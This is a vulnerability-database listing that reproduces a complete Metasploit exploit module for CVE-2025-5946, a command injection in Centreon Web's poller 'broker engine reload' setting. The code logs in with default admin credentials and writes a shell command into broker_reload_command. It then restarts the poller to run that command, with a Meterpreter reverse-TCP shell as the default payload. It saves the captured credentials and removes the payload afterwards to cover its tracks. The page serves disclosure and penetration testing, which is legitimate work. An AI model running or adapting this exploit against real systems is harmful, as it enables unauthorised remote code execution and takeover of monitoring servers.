Lucene search
K

📄 Centreon Broker Engine Reload Parameter Command Injection

🗓️ 05 Nov 2025 00:00:00Reported by h00die-gr3yType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 226 Views

Centreon broker reload command injection requires admin access; affects editions 19.10.0 and up; fixed in 23.10.28, 24.04.18, 24.10.13.

Related
Code
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Centreon authenticated command injection leading to RCE via broker engine "reload" parameter',
            'Description' => %q{
              Centreon is a platform designed to monitor your cloud and on-premises infrastructure.
              This module exploits an command injection vulnerability using the `broker engine reload` setting
              on the poller configuration page of the Centreon web application. Injecting a malcious payload
              at the `broker engine reload` parameter and restarting the poller triggers this vulnerability.
              You need have admin access at the Centreon Web application in order to execute this RCE.
              This issue affects all Centreon editions >= `19.10.0` and it is fixed in Centreon Web versions
              `24.10.13`, `24.04.18` and `23.10.28`.
            },
            'Author' => [
              'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Discovery, Metasploit module & default password weakness
            ],
            'References' => [
              ['CVE', '2025-5946'],
              ['URL', 'https://thewatch.centreon.com/latest-security-bulletins-64/cve-2025-5946-centreon-web-all-versions-high-severity-5104'],
              ['URL', 'https://attackerkb.com/topics/23D4cUoBZj/cve-2025-5946']
            ],
            'License' => MSF_LICENSE,
            'Platform' => ['unix', 'linux'],
            'Privileged' => false,
            'Arch' => [ARCH_CMD],
            'Targets' => [
              [
                'Unix/Linux Command',
                {
                  'Platform' => ['unix', 'linux'],
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp'
                  },
                  'Payload' => {
                    'Encoder' => 'cmd/base64',
                    'BadChars' => "\x20\x3E\x26\x27\x22" # no space > & ' "
                  }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2025-09-24',
            'DefaultOptions' => {
              'SSL' => true,
              'RPORT' => 443
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES],
              'Reliability' => [REPEATABLE_SESSION]
            }
          )
        )
        register_options([
          OptString.new('TARGETURI', [true, 'Path to the Centreon application', '/centreon']),
          OptString.new('USERNAME', [true, 'Centreon web admin user', 'admin']),
          OptString.new('PASSWORD', [true, 'Centreon web admin password', 'Centreon!123'])
        ])
      end
    
      # login at the Centreon web application
      # return true if login successful else false
      def centreon_login(name, pwd)
        # login with admin credentials
        # first try login logic in newer versions
        post_data = {
          login: name.to_s,
          password: pwd.to_s
        }.to_json
        res = send_request_cgi({
          'method' => 'POST',
          'ctype' => 'application/json',
          'keep_cookies' => true,
          'uri' => normalize_uri(target_uri.path, 'api', 'latest', 'authentication', 'providers', 'configurations', 'local'),
          'data' => post_data.to_s
        })
        return true if res&.code == 200 && res.body.include?('redirect_uri')
    
        # try again using login logic for older versions
        # get centreon_token
        res = send_request_cgi!({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path),
          'keep_cookies' => true
        })
    
        # find the token: <input name="centreon_token" type="hidden" value="988067bfac1fdbb52566cb06bef5b514" />
        if res&.code == 200 && res.body.include?('centreon_token')
          centreon_token_match = res.body.match(%r{<input name="centreon_token".*/>})
          centreon_token = centreon_token_match[0].split('value="')[1].gsub(%r{".*/>}, '') unless centreon_token_match.nil?
        else
          vprint_status('No centreon_token found!')
          return false
        end
    
        # login with admin credentials and centreon_token
        if centreon_token
          vprint_status("centreon_token=#{centreon_token}")
          res = send_request_cgi({
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, 'index.php'),
            'keep_cookies' => true,
            'vars_post' => {
              'useralias' => name.to_s,
              'password' => pwd.to_s,
              'submitLogin' => 'Connect',
              'centreon_token' => centreon_token.to_s
            }
          })
          return true if res&.code == 302
        else
          vprint_warning('Unable to process the centreon_token.')
        end
        false
      end
    
      # CVE-2025-5946: Command Injection leading to RCE via the centreon broker engine "reload" parameter triggered by a poller reload
      def execute_payload(cmd, _opts = {})
        @clean_payload = true
        payload = ";#{cmd}"
        vprint_status("payload=#{payload}")
        # attach payload at the centreon broker engine "reload parameter
        fail_with(Failure::PayloadFailed, 'Dropping the payload at the target failed.') unless drop_rce_payload(payload)
    
        # trigger execution by restarting the poller
        send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'restartPollers.php'),
          'keep_cookies' => true,
          'vars_post' => {
            'poller' => 1,
            'mode' => 1
          }
        })
      end
    
      # attach payload at the centreon broker engine "reload" parameter and commit into the sql database
      def drop_rce_payload(payload)
        # get the poller configuration and centreon_token
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'main.get.php'),
          'keep_cookies' => true,
          'vars_get' => {
            'p' => 60901,
            'o' => 'c',
            'server_id' => 1
          }
        })
    
        # find the token: <input name="centreon_token" type="hidden" value="988067bfac1fdbb52566cb06bef5b514" />
        if res&.code == 200 && res.body.include?('centreon_token')
          centreon_token_match = res.body.match(%r{<input name="centreon_token".*/>})
          centreon_token = centreon_token_match[0].split('value="')[1].gsub(%r{".*/>}, '') unless centreon_token_match.nil?
        else
          vprint_status('No centreon_token found!')
          return false
        end
    
        # update poller "centreon broker engine reload" setting with payload
        if centreon_token
          vprint_status("centreon_token=#{centreon_token}")
          res = send_request_cgi({
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, 'main.get.php'),
            'keep_cookies' => true,
            'vars_get' => {
              'p' => 60901
            },
            'vars_post' => {
              'name' => 'Central',
              'ns_ip_address' => '127.0.0.1',
              'localhost[localhost]' => 1,
              'is_default[is_default]' => 1,
              'gorgone_communication_type[gorgone_communication_type]' => 1,
              'gorgone_port' => 5556,
              'engine_start_command' => 'service centengine start',
              'engine_stop_command' => 'service centengine stop',
              'engine_restart_command' => 'service centengine restart',
              'engine_reload_command' => 'service centengine reload',
              'nagios_bin' => '/usr/sbin/centengine',
              'nagiostats_bin' => '/usr/sbin/centenginestats',
              'nagios_perfdata' => '/var/log/centreon-engine/service-perfdata',
              'broker_reload_command' => "service cbd reload#{payload}",
              'centreonbroker_cfg_path' => '/etc/centreon-broker',
              'centreonbroker_module_path' => '/usr/share/centreon/lib/centreon-broker',
              'centreonbroker_logs_path' => nil,
              'centreonconnector_path' => '/usr/lib64/centreon-connector',
              'init_script_centreontrapd' => 'centreontrapd',
              'snmp_trapd_path_conf' => '/etc/snmp/centreon_traps/',
              'ns_activate[ns_activate]' => 1,
              'submitC' => 'Save',
              'id' => 1,
              'o' => 'c',
              'centreon_token' => centreon_token.to_s
            }
          })
          if res&.code == 200 && res.body.include?('ajaxOption table')
            vprint_good('Poller setting "broker_reload_command" updated with payload.')
            return true
          end
          vprint_warning('Poller setting "broker_reload_command" is not updated with payload.')
        else
          vprint_warning('Unable to process the centreon_token.')
        end
        return false
      end
    
      # try to remove the payload from the poller settings to cover our tracks
      def cleanup
        super
        # check if payload should be cleaned
        if @clean_payload
          vprint_status('Cleaning up the mess...')
          if drop_rce_payload(nil)
            print_good('Payload has been successfully removed from the poller setting "broker_reload_command".')
          else
            print_warning('Payload not removed. Try to remove it manually from the poller setting "broker_reload_command".')
          end
        end
      end
    
      # get the Centreon version
      # return version if successful else nil
      def get_centreon_version
        # get version information use Web API v2.0
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'api', 'latest', 'platform', 'versions'),
          'keep_cookies' => true
        })
        # for older versions try to scrape the version from the login web page
        unless res&.code == 200 && res.body.include?('web')
          res = send_request_cgi!({
            'method' => 'GET',
            'uri' => normalize_uri(target_uri.path),
            'keep_cookies' => true
          })
          return nil unless res&.code == 200
    
          build = res.body.match(/v\.\s*\d+\.\d+\.\d+/)
          return nil if build.nil?
    
          return build[0].gsub(/[[:space:]]/, '').split('v.')[1]
        end
        res_json = res.get_json_document
        res_json['web']['version'] unless res_json.blank?
      end
    
      def check
        version = get_centreon_version
        return CheckCode::Unknown('Can not determine the Centreon version.') if version.nil?
    
        case version.scan(/^\d+\.\d+/)[0]
        when '24.10'
          return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) < Rex::Version.new('24.10.13')
        when '24.04'
          return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) < Rex::Version.new('24.04.18')
        when '23.10'
          return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) < Rex::Version.new('23.10.28')
        else
          return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) >= Rex::Version.new('19.10.0')
        end
    
        CheckCode::Safe("Centreon version #{version}")
      end
    
      def exploit
        # check if we can login at the Centreon Web application with the default admin credentials
        username = datastore['USERNAME']
        password = datastore['PASSWORD']
        print_status("Trying to log in with admin credentials #{username}:#{password} at the Centreon Web application.")
        fail_with(Failure::NoAccess, 'Failed to authenticate at the Centreon Web application.') unless centreon_login(username, password)
        print_status('Succesfully authenticated at the Centreon Web application.')
    
        # storing credentials at the msf database
        print_status('Saving admin credentials at the msf database.')
        store_valid_credential(user: username, private: password)
    
        print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
        execute_payload(payload.encoded)
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Nov 2025 00:00Current
7.9High risk
Vulners AI Score7.9
CVSS 3.17.2
EPSS0.13843
SSVC
226